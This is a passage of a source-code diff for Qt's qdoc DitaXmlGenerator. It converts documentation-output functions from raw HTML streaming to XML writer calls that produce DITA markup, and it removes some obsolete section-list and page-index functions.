    j(sections); while (j.hasNext()) { if (j.next().members.size() == 0) @@ -2211,44 +2193,61 @@ QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode* inner, } beginSubPage(inner->location(), fileName); - generateHeader(inner); + generateHeader(inner, title); + xmlWriter().writeStartElement("body"); generateTitle(title, Text(), SmallSubTitle, inner, marker); if (status == CodeMarker::Compat) { - out() << "

    The following class members are part of the " - "Qt 3 support layer. " - "They are provided to help you port old code to Qt 4. We advise against " - "using them in new code.

    \n"; + xmlWriter().writeStartElement("p"); + xmlWriter().writeCharacters("

    The following class members are part of the " + "Qt 3 support layer." + " They are provided to help you port old code to Qt 4. " + "We advise against using them in new code."); + xmlWriter().writeEndElement(); //

    } else { - out() << "

    The following class members are obsolete. " - << "They are provided to keep old source code working. " - << "We strongly advise against using them in new code.

    \n"; - } - - out() << "

    • " - << protectEnc(inner->name()) - << " class reference

    \n"; - + xmlWriter().writeStartElement("p"); + xmlWriter().writeCharacters("The following class members are obsolete. " + "They are provided to keep old source code working. " + "We strongly advise against using them in new code."); + xmlWriter().writeEndElement(); //

    + } + xmlWriter().writeStartElement("p"); + xmlWriter().writeStartElement("ul"); + QString text = protectEnc(inner->name()) + " class reference"; + writeXrefListItem(linkForNode(inner,0),text); + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); //

    + for (i = 0; i < sections.size(); ++i) { - out() << "

    " << protectEnc(sections.at(i).name) << "

    \n"; - generateSectionList(sections.at(i), inner, marker, CodeMarker::Summary); + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeCharacters(protectEnc(sections.at(i).name)); + xmlWriter().writeEndElement(); //

    + generateSection(sections.at(i).members, inner, marker, CodeMarker::Summary); + generateSectionInheritedList(sections.at(i), inner, marker); } sections = marker->sections(inner, CodeMarker::Detailed, status); for (i = 0; i < sections.size(); ++i) { - out() << "
    \n"; - out() << "

    " << protectEnc(sections.at(i).name) << "

    \n"; + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","separator"); + xmlWriter().writeEndElement(); //

    + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeCharacters(protectEnc(sections.at(i).name)); + xmlWriter().writeEndElement(); //

    NodeList::ConstIterator m = sections.at(i).members.begin(); while (m != sections.at(i).members.end()) { - if ((*m)->access() != Node::Private) + if ((*m)->access() != Node::Private) { generateDetailedMember(*m, inner, marker); + } ++m; } } - + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // endSubPage(); return fileName; } @@ -2303,11 +2302,11 @@ void DitaXmlGenerator::generateAnnotatedList(const Node* relative, CodeMarker* marker, const NodeMap& nodeMap) { - writer.writeStartElement("table"); - writer.writeAttribute("outputclass","annotated"); - writer.writeStartElement("tgroup"); - writer.writeAttribute("cols","2"); - writer.writeStartElement("tbody"); + xmlWriter().writeStartElement("table"); + xmlWriter().writeAttribute("outputclass","annotated"); + xmlWriter().writeStartElement("tgroup"); + xmlWriter().writeAttribute("cols","2"); + xmlWriter().writeStartElement("tbody"); int row = 0; foreach (const QString& name, nodeMap.keys()) { @@ -2316,39 +2315,39 @@ void DitaXmlGenerator::generateAnnotatedList(const Node* relative, if (node->status() == Node::Obsolete) continue; - writer.writeStartElement("row"); + xmlWriter().writeStartElement("row"); if (++row % 2 == 1) - writer.writeAttribute("outputclass","odd topAlign"); + xmlWriter().writeAttribute("outputclass","odd topAlign"); else - writer.writeAttribute("outputclass","even topAlign"); - writer.writeStartElement("entry"); - writer.writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","even topAlign"); + xmlWriter().writeStartElement("entry"); + xmlWriter().writeStartElement("p"); generateFullName(node, relative, marker); - writer.writeEndElement(); //

    - writer.writeEndElement(); // + xmlWriter().writeEndElement(); //

    + xmlWriter().writeEndElement(); // if (!(node->type() == Node::Fake)) { Text brief = node->doc().trimmedBriefText(name); if (!brief.isEmpty()) { - writer.writeStartElement("entry"); - writer.writeStartElement("p"); + xmlWriter().writeStartElement("entry"); + xmlWriter().writeStartElement("p"); generateText(brief, node, marker); - writer.writeEndElement(); //

    - writer.writeEndElement(); // + xmlWriter().writeEndElement(); //

    + xmlWriter().writeEndElement(); // } } else { - writer.writeStartElement("entry"); - writer.writeStartElement("p"); - writer.writeCharacters(protectEnc(node->doc().briefText().toString())); - writer.writeEndElement(); //

    - writer.writeEndElement(); // + xmlWriter().writeStartElement("entry"); + xmlWriter().writeStartElement("p"); + xmlWriter().writeCharacters(protectEnc(node->doc().briefText().toString())); + xmlWriter().writeEndElement(); //

    + xmlWriter().writeEndElement(); // } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } - writer.writeEndElement(); // - writer.writeEndElement(); // - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } /*! @@ -2484,27 +2483,27 @@ void DitaXmlGenerator::generateCompactList(const Node* relative, Output the alphabet as a row of links. */ if (includeAlphabet) { - writer.writeStartElement("p"); - writer.writeAttribute("outputclass","centerAlign functionIndex"); - writer.writeStartElement("b"); + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","centerAlign functionIndex"); + xmlWriter().writeStartElement("b"); for (int i = 0; i < 26; i++) { QChar ch('a' + i); if (usedParagraphNames.contains(char('a' + i))) { - writer.writeStartElement("xref"); - writer.writeAttribute("href",QString("#%1").arg(ch)); - writer.writeCharacters(QString(ch.toUpper())); - writer.writeEndElement(); // + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",QString("#%1").arg(ch)); + xmlWriter().writeCharacters(QString(ch.toUpper())); + xmlWriter().writeEndElement(); // } } - writer.writeEndElement(); // - writer.writeEndElement(); //

    + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); //

    } /* Output a

    element to contain all the

    elements. */ - writer.writeStartElement("p"); - writer.writeAttribute("outputclass","compactlist flowListDiv"); + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","compactlist flowListDiv"); for (int i=0; i 0) { - writer.writeEndElement(); // - writer.writeEndElement(); //
    + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } - writer.writeStartElement("dl"); + xmlWriter().writeStartElement("dl"); if (++numTableRows % 2 == 1) - writer.writeAttribute("outputclass","flowList odd"); + xmlWriter().writeAttribute("outputclass","flowList odd"); else - writer.writeAttribute("outputclass","flowList even"); - writer.writeStartElement("dlentry"); - writer.writeStartElement("dt"); - writer.writeAttribute("outputclass","alphaChar"); + xmlWriter().writeAttribute("outputclass","flowList even"); + xmlWriter().writeStartElement("dlentry"); + xmlWriter().writeStartElement("dt"); + xmlWriter().writeAttribute("outputclass","alphaChar"); if (includeAlphabet) { QChar c = paragraphName[curParNr][0].toLower(); - writer.writeStartElement("a"); - writer.writeAttribute("name",c); + xmlWriter().writeStartElement("a"); + xmlWriter().writeAttribute("name",c); } - writer.writeStartElement("b"); - writer.writeCharacters(paragraphName[curParNr]); - writer.writeEndElement(); // - writer.writeEndElement(); // + xmlWriter().writeStartElement("b"); + xmlWriter().writeCharacters(paragraphName[curParNr]); + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } /* Output a
    for the current offset in the current paragraph. */ - writer.writeStartElement("dd"); + xmlWriter().writeStartElement("dd"); if ((curParNr < NumParagraphs) && !paragraphName[curParNr].isEmpty()) { NodeMap::Iterator it; @@ -2555,74 +2554,74 @@ void DitaXmlGenerator::generateCompactList(const Node* relative, Previously, we used generateFullName() for this, but we require some special formatting. */ - writer.writeStartElement("xref"); - writer.writeAttribute("href",linkForNode(it.value(), relative)); + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",linkForNode(it.value(), relative)); QStringList pieces; if (it.value()->subType() == Node::QmlClass) pieces << it.value()->name(); else pieces = fullName(it.value(), relative, marker).split("::"); - writer.writeCharacters(protectEnc(pieces.last())); - writer.writeEndElement(); // + xmlWriter().writeCharacters(protectEnc(pieces.last())); + xmlWriter().writeEndElement(); // if (pieces.size() > 1) { - writer.writeCharacters(" ("); + xmlWriter().writeCharacters(" ("); generateFullName(it.value()->parent(),relative,marker); - writer.writeCharacters(")"); + xmlWriter().writeCharacters(")"); } } - writer.writeEndElement(); //
    + xmlWriter().writeEndElement(); // curParOffset++; } - writer.writeEndElement(); // - writer.writeEndElement(); // - writer.writeEndElement(); //

    + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); //

    } void DitaXmlGenerator::generateFunctionIndex(const Node* relative, CodeMarker* marker) { - writer.writeStartElement("p"); - writer.writeAttribute("outputclass","centerAlign functionIndex"); - writer.writeStartElement("b"); + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","centerAlign functionIndex"); + xmlWriter().writeStartElement("b"); for (int i = 0; i < 26; i++) { QChar ch('a' + i); - writer.writeStartElement("xref"); - writer.writeAttribute("href",QString("#%1").arg(ch)); - writer.writeCharacters(QString(ch.toUpper())); - writer.writeEndElement(); // + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",QString("#%1").arg(ch)); + xmlWriter().writeCharacters(QString(ch.toUpper())); + xmlWriter().writeEndElement(); // } - writer.writeEndElement(); // - writer.writeEndElement(); //

    + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); //

    char nextLetter = 'a'; char currentLetter; - writer.writeStartElement("ul"); + xmlWriter().writeStartElement("ul"); QMap::ConstIterator f = funcIndex.begin(); while (f != funcIndex.end()) { - writer.writeStartElement("li"); + xmlWriter().writeStartElement("li"); currentLetter = f.key()[0].unicode(); while (islower(currentLetter) && currentLetter >= nextLetter) { - writer.writeStartElement("p"); + xmlWriter().writeStartElement("p"); writeGuidAttribute(QString(nextLetter)); - writer.writeAttribute("outputclass","target"); - writer.writeCharacters(QString(nextLetter)); - writer.writeEndElement(); //

    + xmlWriter().writeAttribute("outputclass","target"); + xmlWriter().writeCharacters(QString(nextLetter)); + xmlWriter().writeEndElement(); //

    nextLetter++; } - writer.writeCharacters(protectEnc(f.key())); - writer.writeCharacters(":"); + xmlWriter().writeCharacters(protectEnc(f.key())); + xmlWriter().writeCharacters(":"); NodeMap::ConstIterator s = (*f).begin(); while (s != (*f).end()) { generateFullName((*s)->parent(), relative, marker, *s); ++s; } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // ++f; } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } void DitaXmlGenerator::generateLegaleseList(const Node *relative, @@ -2807,24 +2806,24 @@ void DitaXmlGenerator::generateSection(const NodeList& nl, name_alignment = false; } if (name_alignment) { - writer.writeStartElement("table"); - writer.writeAttribute("outputclass","alignedsummary"); - writer.writeStartElement("tgroup"); - writer.writeAttribute("cols","2"); - writer.writeStartElement("tbody"); + xmlWriter().writeStartElement("table"); + xmlWriter().writeAttribute("outputclass","alignedsummary"); + xmlWriter().writeStartElement("tgroup"); + xmlWriter().writeAttribute("cols","2"); + xmlWriter().writeStartElement("tbody"); } else { if (twoColumn) { - writer.writeStartElement("table"); - writer.writeAttribute("outputclass","propsummary"); - writer.writeStartElement("tgroup"); - writer.writeAttribute("cols","1"); - writer.writeStartElement("tbody"); - writer.writeStartElement("row"); - writer.writeStartElement("entry"); - writer.writeAttribute("outputclass","topAlign"); + xmlWriter().writeStartElement("table"); + xmlWriter().writeAttribute("outputclass","propsummary"); + xmlWriter().writeStartElement("tgroup"); + xmlWriter().writeAttribute("cols","1"); + xmlWriter().writeStartElement("tbody"); + xmlWriter().writeStartElement("row"); + xmlWriter().writeStartElement("entry"); + xmlWriter().writeAttribute("outputclass","topAlign"); } - writer.writeStartElement("ul"); + xmlWriter().writeStartElement("ul"); } int i = 0; @@ -2836,144 +2835,78 @@ void DitaXmlGenerator::generateSection(const NodeList& nl, } if (name_alignment) { - writer.writeStartElement("row"); - writer.writeStartElement("entry"); - writer.writeAttribute("outputclass","memItemLeft rightAlign topAlign"); + xmlWriter().writeStartElement("row"); + xmlWriter().writeStartElement("entry"); + xmlWriter().writeAttribute("outputclass","memItemLeft rightAlign topAlign"); } else { if (twoColumn && i == (int) (nl.count() + 1) / 2) { - writer.writeEndElement(); // - writer.writeEndElement(); //
    - writer.writeStartElement("entry"); - writer.writeAttribute("outputclass","topAlign"); - writer.writeStartElement("ul"); + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); //
    + xmlWriter().writeStartElement("entry"); + xmlWriter().writeAttribute("outputclass","topAlign"); + xmlWriter().writeStartElement("ul"); } - writer.writeStartElement("li"); - writer.writeAttribute("outputclass","fn"); + xmlWriter().writeStartElement("li"); + xmlWriter().writeAttribute("outputclass","fn"); } QString marked = getMarkedUpSynopsis(*m, relative, marker, style); writeText(marked, marker, relative, name_alignment); if (name_alignment) { - writer.writeEndElement(); //
    - writer.writeEndElement(); // + xmlWriter().writeEndElement(); //
    + xmlWriter().writeEndElement(); // } else { - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } i++; ++m; } if (name_alignment) { - writer.writeEndElement(); // - writer.writeEndElement(); // - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } else { - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // if (twoColumn) { - writer.writeEndElement(); //
    - writer.writeEndElement(); // - writer.writeEndElement(); // - writer.writeEndElement(); // - writer.writeEndElement(); // + xmlWriter().writeEndElement(); //
    + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } } } } -void DitaXmlGenerator::generateSectionList(const Section& section, - const Node* relative, - CodeMarker* marker, - CodeMarker::SynopsisStyle style) -{ - bool name_alignment = true; - if (!section.members.isEmpty()) { - bool twoColumn = false; - if (style == CodeMarker::SeparateList) { - name_alignment = false; - twoColumn = (section.members.count() >= 16); - } - else if (section.members.first()->type() == Node::Property) { - twoColumn = (section.members.count() >= 5); - name_alignment = false; - } - if (name_alignment) { - out() << "\n"; - } - else { - if (twoColumn) - out() << "
    \n" - << "\n"; - else - out() << "\n"; - i++; - ++m; - } - if (name_alignment) - out() << "
    "; - out() << "
      \n"; - } - - int i = 0; - NodeList::ConstIterator m = section.members.begin(); - while (m != section.members.end()) { - if ((*m)->access() == Node::Private) { - ++m; - continue; - } - - if (name_alignment) { - out() << "
    "; - } - else { - if (twoColumn && i == (int) (section.members.count() + 1) / 2) - out() << "
      \n"; - out() << "
    • "; - } - - QString marked = getMarkedUpSynopsis(*m, relative, marker, style); - writeText(marked, marker, relative, name_alignment); - if (name_alignment) - out() << "
    \n"; - else { - out() << "\n"; - if (twoColumn) - out() << "\n\n"; - } - } - - if (style == CodeMarker::Summary && !section.inherited.isEmpty()) { - out() << "
      \n"; - generateSectionInheritedList(section, relative, marker, name_alignment); - out() << "
    \n"; - } -} - +/*! + Writes the "inherited from" lists. + */ void DitaXmlGenerator::generateSectionInheritedList(const Section& section, const Node* relative, - CodeMarker* marker, - bool nameAlignment) + CodeMarker* marker) { + if (section.inherited.isEmpty()) + return; + xmlWriter().writeStartElement("ul"); QList >::ConstIterator p = section.inherited.begin(); while (p != section.inherited.end()) { - if (nameAlignment) - out() << "
  • "; + xmlWriter().writeStartElement("li"); + xmlWriter().writeAttribute("outputclass","fn"); + QString text = (*p).second + " "; + if ((*p).second == 1) + text += section.singularMember; else - out() << "
  • "; - out() << (*p).second << " "; - if ((*p).second == 1) { - out() << section.singularMember; - } - else { - out() << section.pluralMember; - } - out() << " inherited from " - << protectEnc(marker->plainFullName((*p).first, relative)) - << "
  • \n"; + text += section.pluralMember; + text += " inherited from "; + text += protectEnc(marker->plainFullName((*p).first, relative)) + ""; + xmlWriter().writeCharacters(text); ++p; } + xmlWriter().writeEndElement(); // } /*! @@ -3044,12 +2977,12 @@ void DitaXmlGenerator::writeText(const QString& markedCode, if (src.at(i) == charLangle && src.at(i + 1).unicode() == '@') { if (nameAlignment && !done) {// && (i != 0)) Why was this here? if (!html.isEmpty()) { - writer.writeCharacters(html); + xmlWriter().writeCharacters(html); html.clear(); } - writer.writeEndElement(); // - writer.writeStartElement("entry"); - writer.writeAttribute("outputclass=","memItemRight bottomAlign"); + xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement("entry"); + xmlWriter().writeAttribute("outputclass=","memItemRight bottomAlign"); done = true; } i += 2; @@ -3166,7 +3099,7 @@ void DitaXmlGenerator::writeText(const QString& markedCode, } } if (!html.isEmpty()) - writer.writeCharacters(html); + xmlWriter().writeCharacters(html); } void DitaXmlGenerator::generateLink(const Atom* atom, @@ -3178,33 +3111,33 @@ void DitaXmlGenerator::generateLink(const Atom* atom, if (funcLeftParen.indexIn(atom->string()) != -1 && marker->recognizeLanguage("Cpp")) { // hack for C++: move () outside of link int k = funcLeftParen.pos(1); - writer.writeCharacters(protectEnc(atom->string().left(k))); + xmlWriter().writeCharacters(protectEnc(atom->string().left(k))); if (link.isEmpty()) { if (showBrokenLinks) - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } else { - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } inLink = false; - writer.writeCharacters(protectEnc(atom->string().mid(k))); + xmlWriter().writeCharacters(protectEnc(atom->string().mid(k))); } else if (marker->recognizeLanguage("Java")) { // hack for Java: remove () and use when appropriate bool func = atom->string().endsWith("()"); bool tt = (func || atom->string().contains(camelCase)); if (tt) - writer.writeStartElement("tt"); + xmlWriter().writeStartElement("tt"); if (func) { - writer.writeCharacters(protectEnc(atom->string().left(atom->string().length() - 2))); + xmlWriter().writeCharacters(protectEnc(atom->string().left(atom->string().length() - 2))); } else { - writer.writeCharacters(protectEnc(atom->string())); + xmlWriter().writeCharacters(protectEnc(atom->string())); } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } else { - writer.writeCharacters(protectEnc(atom->string())); + xmlWriter().writeCharacters(protectEnc(atom->string())); } } @@ -3478,22 +3411,22 @@ void DitaXmlGenerator::generateFullName(const Node* apparentNode, { if (actualNode == 0) actualNode = apparentNode; - writer.writeStartElement("xref"); - writer.writeAttribute("href",linkForNode(actualNode, relative)); + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",linkForNode(actualNode, relative)); if (true || relative == 0 || relative->status() != actualNode->status()) { switch (actualNode->status()) { case Node::Obsolete: - writer.writeAttribute("outputclass","obsolete"); + xmlWriter().writeAttribute("outputclass","obsolete"); break; case Node::Compat: - writer.writeAttribute("outputclass","compat"); + xmlWriter().writeAttribute("outputclass","compat"); break; default: ; } } - writer.writeCharacters(protectEnc(fullName(apparentNode, relative, marker))); - writer.writeEndElement(); // + xmlWriter().writeCharacters(protectEnc(fullName(apparentNode, relative, marker))); + xmlWriter().writeEndElement(); // } void DitaXmlGenerator::generateDetailedMember(const Node* node, @@ -3505,21 +3438,25 @@ void DitaXmlGenerator::generateDetailedMember(const Node* node, if ((node->type() == Node::Enum) && (en = static_cast(node))->flagsType()) { - out() << "

    "; - out() << ""; + xmlWriter().writeStartElement("p"); + writeGuidAttribute(refForNode(node)); + xmlWriter().writeAttribute("outputclass","h3 flags"); + xmlWriter().writeCharacters(refForNode(node)); marked = getMarkedUpSynopsis(en, relative, marker, CodeMarker::Detailed); writeText(marked, marker, relative); - out() << "
    "; + xmlWriter().writeCharacters("\n"); marked = getMarkedUpSynopsis(en->flagsType(),relative,marker,CodeMarker::Detailed); writeText(marked,marker,relative); - out() << "

    \n"; + xmlWriter().writeEndElement(); //

    } else { - out() << "

    "; - out() << ""; - marked = getMarkedUpSynopsis(node,relative,marker,CodeMarker::Detailed); - writeText(marked,marker,relative); - out() << "

    \n"; + xmlWriter().writeStartElement("p"); + writeGuidAttribute(refForNode(node)); + xmlWriter().writeAttribute("outputclass","h3 fn"); + xmlWriter().writeCharacters(refForNode(node)); + marked = getMarkedUpSynopsis(node, relative, marker, CodeMarker::Detailed); + writeText(marked, marker, relative); + xmlWriter().writeEndElement(); //

    } generateStatus(node, marker); @@ -3536,29 +3473,34 @@ void DitaXmlGenerator::generateDetailedMember(const Node* node, section.members += property->resetters(); if (!section.members.isEmpty()) { - out() << "

    Access functions:

    \n"; - generateSectionList(section, node, marker, CodeMarker::Accessors); + xmlWriter().writeStartElement("p"); + xmlWriter().writeCharacters("Access functions:"); + xmlWriter().writeEndElement(); //

    + generateSection(section.members, node, marker, CodeMarker::Accessors); } Section notifiers; notifiers.members += property->notifiers(); if (!notifiers.members.isEmpty()) { - out() << "

    Notifier signal:

    \n"; - //out() << "

    This signal is emitted when the property value is changed.

    \n"; - generateSectionList(notifiers, node, marker, CodeMarker::Accessors); + xmlWriter().writeStartElement("p"); + xmlWriter().writeCharacters("Notifier signal:"); + xmlWriter().writeEndElement(); //

    + generateSection(notifiers.members, node, marker, CodeMarker::Accessors); } } else if (node->type() == Node::Enum) { en = static_cast(node); if (en->flagsType()) { - out() << "

    The " << protectEnc(en->flagsType()->name()) - << " type is a typedef for " - << "QFlags<" - << protectEnc(en->name()) - << ">. It stores an OR combination of " - << protectEnc(en->name()) - << " values.

    \n"; + xmlWriter().writeStartElement("p"); + QString text = "The " + protectEnc(en->flagsType()->name()) + + " type is a typedef for " + + "QFlags<" + + protectEnc(en->name()) + + ">. It stores an OR combination of " + + protectEnc(en->name()) + " values."; + xmlWriter().writeCharacters(text); + xmlWriter().writeEndElement(); //

    } } generateAlsoList(node, marker); @@ -3984,28 +3926,28 @@ void DitaXmlGenerator::beginLink(const QString& link, this->link = link; if (link.isEmpty()) { if (showBrokenLinks) - writer.writeStartElement("i"); + xmlWriter().writeStartElement("i"); } else if (node == 0 || (relative != 0 && node->status() == relative->status())) { - writer.writeStartElement("xref"); - writer.writeAttribute("href",link); + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",link); } else { switch (node->status()) { case Node::Obsolete: - writer.writeStartElement("xref"); - writer.writeAttribute("href",link); - writer.writeAttribute("outputclass","obsolete"); + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",link); + xmlWriter().writeAttribute("outputclass","obsolete"); break; case Node::Compat: - writer.writeStartElement("xref"); - writer.writeAttribute("href",link); - writer.writeAttribute("outputclass","compat"); + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",link); + xmlWriter().writeAttribute("outputclass","compat"); break; default: - writer.writeStartElement("xref"); - writer.writeAttribute("href",link); + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",link); } } inLink = true; @@ -4016,15 +3958,15 @@ void DitaXmlGenerator::endLink() if (inLink) { if (link.isEmpty()) { if (showBrokenLinks) - writer.writeEndElement(); // i + xmlWriter().writeEndElement(); // i } else { if (inObsoleteLink) { - writer.writeStartElement("sup"); - writer.writeCharacters("(obsolete)"); - writer.writeEndElement(); // sup + xmlWriter().writeStartElement("sup"); + xmlWriter().writeCharacters("(obsolete)"); + xmlWriter().writeEndElement(); // sup } - writer.writeEndElement(); // xref + xmlWriter().writeEndElement(); // xref } } inLink = false; @@ -4273,130 +4215,6 @@ void DitaXmlGenerator::generateInstantiatedBy(const ClassNode* cn, } /*! - Generate the element for the given \a node using the \a writer. - Return true if a element was written; otherwise return false. - */ -bool DitaXmlGenerator::generatePageElement(QXmlStreamWriter& writer, - const Node* node, - CodeMarker* marker) const -{ - if (node->pageType() == Node::NoPageType) - return false; - if (node->name().isEmpty()) - return true; - if (node->access() == Node::Private) - return false; - if (!node->isInnerNode()) - return false; - - QString title; - QString rawTitle; - QString fullTitle; - const InnerNode* inner = static_cast(node); - - writer.writeStartElement("page"); - QXmlStreamAttributes attributes; - QString t; - t.setNum(id++); - switch (node->type()) { - case Node::Fake: - { - const FakeNode* fake = static_cast(node); - title = fake->fullTitle(); - break; - } - case Node::Class: - { - title = node->name() + " Class Reference"; - break; - } - case Node::Namespace: - { - rawTitle = marker->plainName(inner); - fullTitle = marker->plainFullName(inner); - title = rawTitle + " Namespace Reference"; - break; - } - default: - title = node->name(); - break; - } - writer.writeAttribute("id",t); - writer.writeStartElement("pageWords"); - writer.writeCharacters(title); - if (!inner->pageKeywords().isEmpty()) { - const QStringList& w = inner->pageKeywords(); - for (int i = 0; i < w.size(); ++i) { - writer.writeCharacters(" "); - writer.writeCharacters(w.at(i).toLocal8Bit().constData()); - } - } - writer.writeEndElement(); - writer.writeStartElement("pageTitle"); - writer.writeCharacters(title); - writer.writeEndElement(); - writer.writeStartElement("pageUrl"); - writer.writeCharacters(PageGenerator::fileName(node)); - writer.writeEndElement(); - writer.writeStartElement("pageType"); - switch (node->pageType()) { - case Node::ApiPage: - writer.writeCharacters("APIPage"); - break; - case Node::ArticlePage: - writer.writeCharacters("Article"); - break; - case Node::ExamplePage: - writer.writeCharacters("Example"); - break; - default: - break; - } - writer.writeEndElement(); - writer.writeEndElement(); - return true; -} - -/*! - Traverse the tree recursively and generate the - elements. - */ -void DitaXmlGenerator::generatePageElements(QXmlStreamWriter& writer, const Node* node, CodeMarker* marker) const -{ - if (generatePageElement(writer, node, marker)) { - - if (node->isInnerNode()) { - const InnerNode *inner = static_cast(node); - - // Recurse to write an element for this child node and all its children. - foreach (const Node *child, inner->childNodes()) - generatePageElements(writer, child, marker); - } - } -} - -/*! - Outputs the file containing the index used for searching the html docs. - */ -void DitaXmlGenerator::generatePageIndex(const QString& fileName, CodeMarker* marker) const -{ - QFile file(fileName); - if (!file.open(QFile::WriteOnly | QFile::Text)) - return ; - - QXmlStreamWriter writer(&file); - writer.setAutoFormatting(true); - writer.writeStartDocument(); - writer.writeStartElement("qtPageIndex"); - - generatePageElements(writer, myTree->root(), marker); - - writer.writeEndElement(); // qtPageIndex - writer.writeEndDocument(); - file.close(); -} - -/*! Return the full qualification of the node \a n, but without the name of \a n itself. e.g. A::B::C */ @@ -4447,31 +4265,31 @@ void DitaXmlGenerator::writeDerivations(const ClassNode* cn, CodeMarker* marker) int index; if (!cn->baseClasses().isEmpty()) { - writer.writeStartElement(CXXCLASSDERIVATIONS); + xmlWriter().writeStartElement(CXXCLASSDERIVATIONS); r = cn->baseClasses().begin(); index = 0; while (r != cn->baseClasses().end()) { - writer.writeStartElement(CXXCLASSDERIVATION); - writer.writeStartElement(CXXCLASSDERIVATIONACCESSSPECIFIER); - writer.writeAttribute("value",(*r).accessString()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXCLASSDERIVATION); + xmlWriter().writeStartElement(CXXCLASSDERIVATIONACCESSSPECIFIER); + xmlWriter().writeAttribute("value",(*r).accessString()); + xmlWriter().writeEndElement(); // // not included: - writer.writeStartElement(CXXCLASSBASECLASS); - writer.writeAttribute("href",(*r).node->ditaXmlHref()); - writer.writeCharacters(marker->plainFullName((*r).node)); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXCLASSBASECLASS); + xmlWriter().writeAttribute("href",(*r).node->ditaXmlHref()); + xmlWriter().writeCharacters(marker->plainFullName((*r).node)); + xmlWriter().writeEndElement(); // // not included: or - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // // not included: ++r; } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } } @@ -4509,21 +4327,21 @@ void DitaXmlGenerator::writeLocation(const Node* n) s2 = CXXVARIABLEDECLARATIONFILE; s3 = CXXVARIABLEDECLARATIONFILELINE; } - writer.writeStartElement(s1); - writer.writeStartElement(s2); - writer.writeAttribute("name","filePath"); - writer.writeAttribute("value",n->location().filePath()); - writer.writeEndElement(); // DeclarationFile> - writer.writeStartElement(s3); - writer.writeAttribute("name","lineNumber"); + xmlWriter().writeStartElement(s1); + xmlWriter().writeStartElement(s2); + xmlWriter().writeAttribute("name","filePath"); + xmlWriter().writeAttribute("value",n->location().filePath()); + xmlWriter().writeEndElement(); // DeclarationFile> + xmlWriter().writeStartElement(s3); + xmlWriter().writeAttribute("name","lineNumber"); QString lineNr; - writer.writeAttribute("value",lineNr.setNum(n->location().lineNo())); - writer.writeEndElement(); // DeclarationFileLine> + xmlWriter().writeAttribute("value",lineNr.setNum(n->location().lineNo())); + xmlWriter().writeEndElement(); // DeclarationFileLine> // not included: , , // and - writer.writeEndElement(); // ApiItemLocation> + xmlWriter().writeEndElement(); // ApiItemLocation> } /*! @@ -4537,88 +4355,88 @@ void DitaXmlGenerator::writeFunctions(const Section& s, while (m != s.members.end()) { if ((*m)->type() == Node::Function) { FunctionNode* fn = const_cast(static_cast(*m)); - writer.writeStartElement(CXXFUNCTION); - writer.writeAttribute("id",fn->guid()); - writer.writeStartElement(APINAME); + xmlWriter().writeStartElement(CXXFUNCTION); + xmlWriter().writeAttribute("id",fn->guid()); + xmlWriter().writeStartElement(APINAME); if (fn->metaness() == FunctionNode::Signal) - writer.writeAttribute("class","signal"); + xmlWriter().writeAttribute("class","signal"); else if (fn->metaness() == FunctionNode::Slot) - writer.writeAttribute("class","slot"); - writer.writeCharacters(fn->name()); - writer.writeEndElement(); // + xmlWriter().writeAttribute("class","slot"); + xmlWriter().writeCharacters(fn->name()); + xmlWriter().writeEndElement(); // generateBrief(fn,marker); // not included: - writer.writeStartElement(CXXFUNCTIONDETAIL); - writer.writeStartElement(CXXFUNCTIONDEFINITION); - writer.writeStartElement(CXXFUNCTIONACCESSSPECIFIER); - writer.writeAttribute("value",fn->accessString()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXFUNCTIONDETAIL); + xmlWriter().writeStartElement(CXXFUNCTIONDEFINITION); + xmlWriter().writeStartElement(CXXFUNCTIONACCESSSPECIFIER); + xmlWriter().writeAttribute("value",fn->accessString()); + xmlWriter().writeEndElement(); // // not included: if (fn->isStatic()) { - writer.writeStartElement(CXXFUNCTIONSTORAGECLASSSPECIFIERSTATIC); - 